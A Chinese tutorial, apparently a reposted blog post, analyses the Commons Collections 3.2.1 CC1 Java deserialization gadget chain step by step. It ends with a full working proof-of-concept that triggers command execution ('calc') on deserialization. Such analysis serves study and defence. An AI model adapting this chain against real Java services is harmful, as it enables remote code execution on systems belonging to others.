JavaSec 基础之 CC1 链

文章目录

    • 背景
    • 环境以及配置
    • 分析
      • 0x1 终点(利用点分析)
      • 0x2
      • 0x3
        • 0x31
        • 0x32
        • 0x33
      • 0x04
      • 0x05

背景

Apache Commons Collections是Apache提供的一个Java库,它扩展了Java自带的集合框架。通过这个库,咱们可以使用更多种类的集合类型,以及各种实用的集合操作工具。这些功能在标准Java库中往往是缺失的,或者实现起来比较繁琐。

commons-collections 组件反序列化漏洞的反射链也称为CC链,本文分析Commons Collections3.2.1版本下的一条最好用的反序列化漏洞链,这条攻击链被称为CC1链(国内版本的)。

环境以及配置

  • JDK-8u65 (因为CC1链在jdk 8u71后就修复了 因此我们复现就利用 8u65的版本
  • CommonsCollections <= 3.2.1

Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn)

通过配置Maven依赖下载 CommonsCollections3.2.1版本

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20240310160257996

因为jdk自带的包里面有些文件是反编译的.class文件(比如说这里的 sun 包),我们调试的时候没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们去 openjdk 安装相应的源码(可以自行了解一下 oraclejdk 和 openjdk 区别与联系):

jdk8u/jdk8u/jdk: af660750b2f4 (openjdk.org)

下载好压缩包之后解压,拷贝 /src/share/classes下的sun文件夹,进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把我们拷贝的 sun 文件夹粘贴到 src 文件夹中去

image-20240310161405158

idea 打开项目,打开 File -> Project Structure -> Platforms Settings -> SDKs,把src文件夹添加到 Sourcepath 下,保存即可。

image-20240310161541909

分析

0x1 终点(利用点分析)

CC1链的源头就是 Commons Collections 库中的 Tranformer 接口,这个接口里面有个 transform 方法。

ctrl + alt +b 查看哪些类调用了这个接口

image-20240310164508124

进入重写 transform 方法的 InvokerTransformer 类

image-20240310165347975

发现它重写了 Serializable,比较符合我们的要求。看一下构造方法

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}

接受三个参数,分别是方法名,方法类型(Class 数组),方法参数(Object 数组)

再来到重写的 transform(

    public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var4) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);}}}

参数接受一个对象,然后通过反射机制来调用某个方法执行,我们看构造函数已经发现了参数都是我们可控的,那么不就可以构造任意方法执行了吗?

我们先尝试用这个类的 transform 方法实现计算器的弹出

public static void main(String[] args) {Runtime r = Runtime.getRuntime();new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);}

image-20240310171759238

可以看到命令成功执行了,我们推链子都是逆着来的,所以现在就相当于找到源头了,接下来就是一步步回溯,寻找合适的子类调用了InvokerTransformer 的 transform 方法,构造漏洞链,直到到达重写了 readObject 的类为止。

image-20240310174948183

0x2

那现在就可以找谁调用了 transform 了,有一点值得注意的是不要去找某个类的 transform 调用了 transform,不然你又得去找谁调用了 transform 了,要找就找不同方法调用 transform。

我们先 find usages 查找都有谁调用了。

看到我们需要的TransformedMap类下的checkSetValue方法

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

老规矩先看一下这个类的构造方法。

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

接受三个参数,一个 Map 型,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。

特别是第三个参数,我们 checkSetValue return 的就是这第三个参数执行的 transform 方法,所以第三个参数可以传invokerTransformer 对象。

可以看到构造器和方法都是protected权限的,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

它接受了和构造方法一样的参数并且实例化了这个类。

这里有一个小知识 staic 修饰的静态方法可以直接类名 + 方法名调用

那我们可以先调用这个方法,然后实例化这个类,然后再想办法调用checkSetValue方法

Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});Map map = new HashMap();TransformedMap.decorate(map, null, invokerTransformer);

这里的第二个参数没有用到,所以先设置为 null

然后我们就得找 checkSetValue 怎么被调用了。我们发现只有 AbstractInputCheckedMapDecorator 调用了 checkSetValue。而且它是 TransformedMap 的父类

static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}

其副类 MapEntry 里的 setValue 方法调用了 checkSetValue。

MapEntry 继承于 AbstractMapEntryDecorator,AbstractMapEntryDecorator 又引入了 Map.Entry 接口

Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry<K,V>。它表示Map中的一个实体(一个key-value对)。所以用 TransformedMap 的 entrySet() 遍历 Map 的时候就能调用 setValue 方法

Java HashMap entrySet() 方法 | 菜鸟教程 (runoob.com)

所以我们只需要进行常用的Map遍历,就可以调用setValue方法

 for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式entry.setValue(r);                       //调用setValue方法,并把对象r当作对象传入}
        Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap map = new HashMap();map.put("aaa","aaa"); //给map一个键值对,方便遍历Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedmap.entrySet()) { //遍历Map常用格式entry.setValue(r);                       //调用setValue方法,并把对象r当作对象传入

流程就是我们遍历 transformedmap 的时候用的是 entrySet() , 来自于 transformedmap 父类的 entrySet() ,然后就会进入其父类的副类 MapEntry 下的 构造方法,使每个 entry 这里就是 “aaa”->“aaa” 进入 AbstractMapEntryDecorator 的构造方法也就是 MapEntry 的父类,AbstractMapEntryDecorator 又引入了 Map.Entry 接口,所以可以通过遍历调用 setValue 方法,恰巧 MapEntry 重写了这个方法。,而这个重写的方法正好调用了 checkSetValue。

image-20240311191107919

0x3

老规矩,继续查找用法,看看有哪些方法里面调用了setValue并且可以被我们所利用.

好巧不巧 sun 包下的 sun.reflect.annotation 里的 AnnotationInvocationHandler 类就有这个方法

而且还是重写的 readObject 方法调用的

image-20240311194420595

我们依旧看一下这个类的构造方法

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

接受一个注解型的,第二个是个 Map 型的,而且这个 memberValues 会被拿去遍历,所以这个我们就可以传 invokerTransformer

注意到这个构造器没有类型,所以默认只能内部调用,那我们只能用 反射 来获取构造方法了。

 //反射获取AnnotationInvocationHandler类Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型,第二个就是我们之前的类
  //序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));oos.writeObject(object);}public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap map = new HashMap();map.put("aaa","aaa"); //给map一个键值对,方便遍历Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);//反射获取AnnotationInvocationHandler类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型,第二个就是我们之前的类try {serialize(c);} catch (Exception e) {e.printStackTrace();}}

没有反应,想要正常反序列化整条链子,我们当下还要解决三个问题

0x31

首先就是 Runtime 这个类它没有 Serialize 接口,不能被序列化

image-20240311210523160

但是 Class 可以被序列化

image-20240311210636322

那我们就可以利用反射来调用 getRuntime 方法从而得到 Runtime 的实例化类

        Class c=Class.forName("java.lang.Runtime");                 //获取类原型Method getRuntime= c.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法,Runtime r=(Runtime) getRuntime.invoke(null,null);              //获取实例化对象,因为该方法无无参方法,所以全为nullMethod exec=c.getDeclaredMethod("exec", String.class);        //获取exec方法exec.invoke(r,"calc");                                         //实现命令执行

没问题,可以调出计算器c来。现在就重复上面的分析,想办法用 transform + 反射实现计算器的弹出。

我们回想一下之前怎么用 InvokerTransformer 的,利用了 InvokerTransformer 的 transform 里的反射机制

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

上面调用了 r 的 exec 方法,那我们就可以依葫芦画瓢

//先调用 getDeclaredMethod 方法 获取getRuntime方法
Runtime.class -> getDeclaredMethod()
//再调用 invoke 方法获取实例化对象
getRuntime -> invoke()
//获取exec方法,并进行命令执行
r -> exec
        Method getRuntime = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);Runtime r= (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntime);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

image-20240311223127551

返回的是执行 transform 后的对象,用在这里刚刚好

Class rc=Class.forName("java.lang.Runtime");
//创建一个Transformer数组用于储存InvokerTransformer的数据,便于遍历
Transformer[] Transformers=new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);

好那么好,我们接下来就和上面一样用 TransformedMap 来调用 ChainedTransformer,用 AnnotationInvocationHandler 触发 TransformedMap

        Transformer[] Transformers=new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);HashMap map = new HashMap();map.put("aaa","aaa"); //给map一个键值对,方便遍历Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);//反射获取AnnotationInvocationHandler类Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); //获取构造器constructor.setAccessible(true); //修改作用域constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型,第二个就是我们之前的类try {serialize(c);} catch (Exception e) {e.printStackTrace();}
0x32

如果我们把上面的 POC 拿去 序列化还是不行的,还得绕过 AnnotationInvocationHandler 类里面的两个 if 判断

调试一下发现第一个 if 都进不去,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解 Override 是没有成员变量的:

而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value:

 map.put("value","aaa");Object o = constructor.newInstance(Target.class,transformedmap);

成功进入第一个 if

image-20240311230709280

再来看第二个 if

memberType.isInstance(value)

isInstance是Class类的一个方法isInstance(Object obj),obj是被测试的对象,如果obj是调用这个方法的class或接口 的实例,则返回true。这个方法是instanceof运算符的动态等价(memberType,value 是否可以强转

肯定不是啊,直接进 if 里面了

0x33

终于到最后一个问题了,我们传入的value值根本就不是我们需要的 Runtime.class

 memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));

image-20240311233526460

我们最后要的是

chainedTransformer.transform(Runtime.class);

这里就需要ConstantTransformer类,

image-20240311234341317

我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class

再 chainedTransformer.transform(xxx),时,我们让 transforms 数组第一条是

new ConstantTransformer(Runtime.class)

这样就相当于

ConstantTransformer(Runtime.class).transform(xxx)

然后 transform return 出 iConstan 也就是 Runtime.class,之后 chainedTransformer 继续遍历下去。至此,最后一个问题也解决了。

0x04


完整代码

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {//序列化方法public static void serialize(Object object) throws Exception {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(object);}public static void unserialize(String filename) throws Exception{ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {Transformer[] Transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);HashMap map = new HashMap();map.put("value","aaa");Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Target.class,transformedmap);try {
//            serialize(o);unserialize("ser.bin");} catch (Exception e) {e.printStackTrace();}}
}

0x05

感谢白师傅的讲解以及另外两位师傅的博客

Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

JAVA安全初探(三):CC1链全分析 - 先知社区 (aliyun.com)

Java反序列化:CC1链 详解_cc链-CSDN博客

CC1 链虽然复现起来很困难,而且 java 很多知识也是一知半解。但是行百步者半九十,只要坚持下去就一定会有收获的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/738580.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

星星魔方

星星魔方 1&#xff0c;魔方三要素 &#xff08;1&#xff09;组成部件 6个中心块和8个角块和三阶魔方同构&#xff0c;另外每个面还有构成五角星的十个块。 &#xff08;2&#xff09;可执行操作 一共12种操作&#xff0c;其中6种是每个层顺时针旋转90度&#xff0c;另外6…

HTML静态网页成品作业(HTML+CSS)——家乡漳州介绍设计制作(1个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有1个页面。 二、作品演示 三、代…

Python的特性——跟老吕学Python编程

Python的特性——跟老吕学Python编程 Python的特性1.Python易学易用2.Python是解释型语言3.Python是交互式的4.Python是一种多范式语言5.Python的标准库6.Python是开源的7.Python是跨平台的8.用于GUI应用程序的Python9.Python的数据库连接10.Python是可扩展的11.Python拥有活跃…

【golang】28、用 httptest 做 web server 的 controller 的单测

文章目录 一、构建 HTTP server1.1 model.go1.2 server.go1.3 curl 验证 server 功能1.3.1 新建1.3.2 查询1.3.3 更新1.3.4 删除 二、httptest 测试2.1 完整示例2.2 实现逻辑2.3 其他示例2.4 用 TestMain 避免重复的测试代码2.5 gin 框架的 httptest 一、构建 HTTP server 1.1…

ElementUI两个小坑

1.form表单绑定的是一个对象&#xff0c;表单里的一个输入项是对象的一个属性之一&#xff0c;修改输入项&#xff0c;表单没刷新的问题&#xff0c; <el-form :model"formData" :rules"rules" ref"editForm" class"demo-ruleForm"…

蓝牙耳机链接电脑莫名奇妙关机问题(QQ浏览器)

蓝牙耳机连接电脑听歌的时候&#xff0c;如果听歌软件是暴风影音&#xff0c;或者其它播放器&#xff0c;蓝牙不会自动关机&#xff0c;但如果是QQ浏览器&#xff0c;蓝牙耳机经常莫名其妙的关机&#xff0c;时间间隔忽长忽短&#xff0c;没有规律&#xff0c;解决办法就是重启…

考研C语言复习初阶(5)

目录 一.表达式求值 1.1隐式类型转换 1.2 算术转换 12.3 操作符的属性 二. 指针是什么&#xff1f; 三 指针和指针类型 3.1 指针-整数 3.2 指针的解引用 3.3 野指针 四.指针运算 4.1 指针-整数 4.2 指针-指针 4.3 指针的关系运算 5. 指针和数组 6. 二级指针 …

202012青少年软件编程(图形化) 等级考试试卷(一级)

青少年软件编程(图形化) 等级考试试卷(一级)2020年12月 第1题:【 单选题】 下面哪个区域是“舞台区” ?( ) A:A B:B C:C D:D 【正确答案】: B 【试题解析】 : 第2题:【 单选题】 下图为小猫的初始方向, 哪个积木可以让小猫面向正右方?( ) A: B: C:…

2024.3.11 训练记录(13)

继续补题 文章目录 ICPC 2018青岛I Soldier GameICPC 2018青岛K Airdrop ICPC 2018青岛I Soldier Game 题目链接 线段树 果然稍微复杂一点的线段树就很难实现啊&#xff0c;不看题解根本没反应过来是线段树 struct Node {int l, r, lb, rb, nb, b; } tr[N * 4];其中&#x…

一个Promise全新API

1. 资讯速览 最近&#xff0c;Promise 新出了一个方法&#xff0c;已经进入 Stage 3 &#xff08;候选阶段&#xff09; &#xff0c;相信很快就能达到 Stage 4 &#xff08;完成阶段&#xff09;&#xff0c;并在项目中广泛使用。 这个方法就是 Promise.withResolvers。它是…

【C++干货基地】面向对象核心概念与实践原理:拷贝构造函数的全面解读

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引入 哈喽各位铁汁们好啊&#xff0c;我是博主鸽芷咕《C干货基地》是由我的襄阳家乡零食基地有感而发&#xff0c;不知道各位的…

游戏行业需要堡垒机吗?用哪款堡垒机好?

相信大家对于游戏都不陌生&#xff0c;上到老&#xff0c;下到小&#xff0c;越来越多的小伙伴开始玩游戏。随着游戏用户的增加&#xff0c;如何保障用户资料安全&#xff0c;如何确保游戏公司数据安全等是一个不容忽视的问题。因此不少人在问&#xff0c;游戏行业需要堡垒机吗…

系统设计 - SDK设计流程

▌从 0 到 1 开发 一般从 0 设计一款 SDK&#xff0c;总体上可以分为 5 个步骤&#xff1a;基础架构的设计、开放 API 接口设计、业务功能框架设计与开发、基础核心库设计与开发、打包与发布。 1. 第一步是基础架构设计&#xff0c;一个好的架构可主要从可读性、可扩展性、可维…

css3实现3D立方体旋转特效源码

源码介绍 CSS3自动旋转正方体3D特效是一款基于css3 keyframes属性制作的图片相册自动旋转立方体特效 效果展示 下载地址 css3实现3D立方体旋转特效代码

PCL点云处理之四点确定球心和半径(克拉默法则C++) (二百二十九)

PCL点云处理之四点确定球心和半径(克拉默法则C++) (二百二十九) 一、算法介绍二、算法实现1.代码2.结果一、算法介绍 相比于计算点坐标均值作为球心和某点到均值距离作为半径的快速计算法,这里介绍的方法更加适合精度要求较高的四点定球计算,下面是具体的实现代码,C++编…

搭建mysql主从复制(主主复制)

1&#xff1a;设主库允许远程连接(注意&#xff1a;设置账号密码必须使用的插件是mysql_native_password&#xff0c;其他的会连接失败) #切换到mysql这个数据库&#xff0c;修改user表中的host&#xff0c;使其可以实现远程连接 mysql>use mysql; mysql>update user se…

蓝牙系列十三:协议栈L2CAP层

L2CAP 全称为逻辑链路控制与适配协议(Logical Link Control and Adaptation Protocol)&#xff0c;位于基带层之上&#xff0c;将基带层的数据分组交换为便于高层应用的数据分组格式&#xff0c;并提供协议复用和服务质量交换等功能。 该层属于主机的内容&#xff0c;位于HCI层…

手写Mybatis自动填充插件

目录 一、Mybatis插件简介&#x1f959;二、工程创建及前期准备工作&#x1f96b;实现代码配置文件 三、插件核心代码实现&#x1f357;四、测试&#x1f953; 一、Mybatis插件简介&#x1f959; Mybatis插件运行原理及自定义插件_简述mybatis的插件运行原理,以及如何编写一个…

HTML 语义化:构建优质网页的关键

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

深度学习与强化学习的绝妙融合:引领未来智能科技新潮流!

深度学习在强化学习中的应用已经取得了显著的成果&#xff0c;特别是在处理复杂环境和大规模数据方面。 一、概述 强化学习是一种独特的机器学习范式&#xff0c;其核心在于通过代理与环境的交互来学习最优行为策略。这种学习方式是试错性的&#xff0c;代理在不断地尝试、接…